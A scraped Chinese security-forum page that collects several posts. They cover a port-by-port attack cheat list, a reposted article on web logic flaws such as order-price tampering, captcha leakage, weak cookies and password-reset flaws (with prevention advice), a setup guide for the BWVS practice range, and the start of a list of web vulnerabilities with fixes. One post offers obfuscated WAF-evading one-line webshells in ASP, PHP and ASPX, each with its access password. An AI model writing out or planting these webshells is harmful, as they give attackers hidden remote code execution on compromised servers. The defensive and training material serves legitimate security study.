远程代码执行143imap爆破161snmp爆破389ldap注入攻击
未授权访问512/513/514linux r直接使用rlogin873rsync未授权访问1080socket爆破:进行内网渗透1352lotus爆破:弱口令
信息泄漏:源代码1433mssql爆破:使用系统用户登录
注入攻击1521oracle爆破:TNS
注入攻击2049nfs配置不当2181zookeeper未授权访问3306mysql爆破
拒绝服务
注入3389rdp爆破
Shift后门4848glassfish爆破:控制台弱口令
认证绕过5000sybase/DB2爆破
注入5432postgresql缓冲区溢出
注入攻击
爆破:弱口令5632pcanywhere拒绝服务
代码执行5900vnc爆破:弱口令
认证绕过6379redis未授权访问
爆破:弱口令7001weblogicJava反序列化
控制台弱口令
控制台部署webshell80/443/8080web常见web攻击
控制台爆破
对应服务器版本漏洞8069zabbix远程命令执行9090websphere控制台爆破:控制台弱口令
Java反序列9200/9300elasticsearch远程代码执行11211memcacache未授权访问27017mongodb爆破
未授权访问

Web安全测试中常见逻辑漏洞解析

Web安全渗透main 发表了文章 • 1 个评论 • 172 次浏览 • 2019-01-13 14:33 • 来自相关话题

看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:


rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:

1.账号密码找回
2.账号注册
3.支付订单等


验证码主要发送途径:

1.邮箱邮件
2.手机短信


其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。

如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。

2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示

根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》。
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。

平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限

如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM) 查看全部
看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:



rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:


1.账号密码找回
2.账号注册
3.支付订单等



验证码主要发送途径:


1.邮箱邮件
2.手机短信



其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。


如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。


2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
  1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示


根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。


平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限


如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉
[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM)

web漏洞大型综合类测试系统-BWVS

Web安全渗透llpkk 发表了文章 • 1 个评论 • 206 次浏览 • 2019-01-10 23:39 • 来自相关话题

本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞[code] SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~ 查看全部
本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞
[code]    SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~

过狗一句话

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 142 次浏览 • 2019-01-10 11:12 • 来自相关话题

前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
  查看全部
前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
 

常规36个WEB渗透测试漏洞描述及修复方法

flaray 发表了文章 • 1 个评论 • 130 次浏览 • 2019-01-09 21:28 • 来自相关话题

(1)Apache样例文件泄漏
  漏洞描述
  apache一些样例文件没有删除,可能存在cookie、session伪造,进行后台登录操作
  修复建议
  1、删除样例文件
  2、对apache中web.xml进行相关设置
(2)弱口令
  漏洞描述
  由于系统中存在有弱口令,导致攻击者通过弱口令可轻松登录系统中,从而进行下一步的攻击,如上传webshell,获取敏感数据!
  另外攻击者利用弱口令登录网站管理后台,可任意增删改等操作,从而造成负面影响!
  修复建议
  1、建议强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;
  2、 完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。
  3、对管理后台进行访问控制,修改后台弱口令,加强口令强度并定期修改。
  4、增加验证机制,防爆破机制,限制ip+cookie访问次数。
(3)明文传输登录口令
  漏洞描述
  用户登录过程中使用明文传输用户登录信息,若用户遭受中间人攻击时,攻击者可直接获取该用户登录账户,从而进行进一步渗透。
  修复建议
  1、用户登录信息使用加密传输,如密码在传输前使用安全的算法加密后传输,可采用的算法包括:不可逆hash算法加盐(4位及以上随机数,由服务器端产生);安全对称加密算法,如AES(128、192、256位),且必须保证客户端密钥安全,不可被破解或读出;非对称加密算法,如RSA(不低于1024位)、SM2等。
  2、使用https来保证传输的安全。
(4)暴力破解
  漏洞描述
  由于没有对登录页面进行相关的防暴力破解机制,如无验证码、有验证码但验证码未在服务器端校验以及无登录错误次数限制等,导致攻击者可通过暴力破解获取用户登录账户及口令,从而获取网站登录访问权限!
  修复建议
  1、添加验证码机制,加入图片(验证码动态生成且满足随机性)或者短信验证码(验证码具备超时时限一般为1分钟,且在该时限内错误次数超过3次则进行锁定1分钟后方能重新获取验证码,超时后验证码自动失效)!
  2、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的
(5)SQL注入漏洞
  漏洞描述
  Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
  修复建议
  代码层最佳防御sql漏洞方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。
  (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
  (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
  (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
  (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
  (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
  (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(6)跨站脚本攻击(xss)漏洞
  漏洞描述
  1、Web程序代码中把用户提交的参数未做过滤或过了不严就直接输出到页面,参数中的特殊字符打破了HTML页面的原有逻辑,黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击、诱以及导用户再次登录,然后获取其登录凭证等。
  2、XSS攻击对Web服务器本身虽无直接危害,但是它借助网站进行传播,对网站用户进行攻击,窃取网站用户账号信息等,从而也会对网站产生较严重的危害。XSS攻击可导致以下危害:
  3、钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术发起更高级的钓鱼攻击。
  4、网站挂马:跨站时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马攻击。
  5、身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户的cookie被窃取,将会对网站引发巨大的危害。
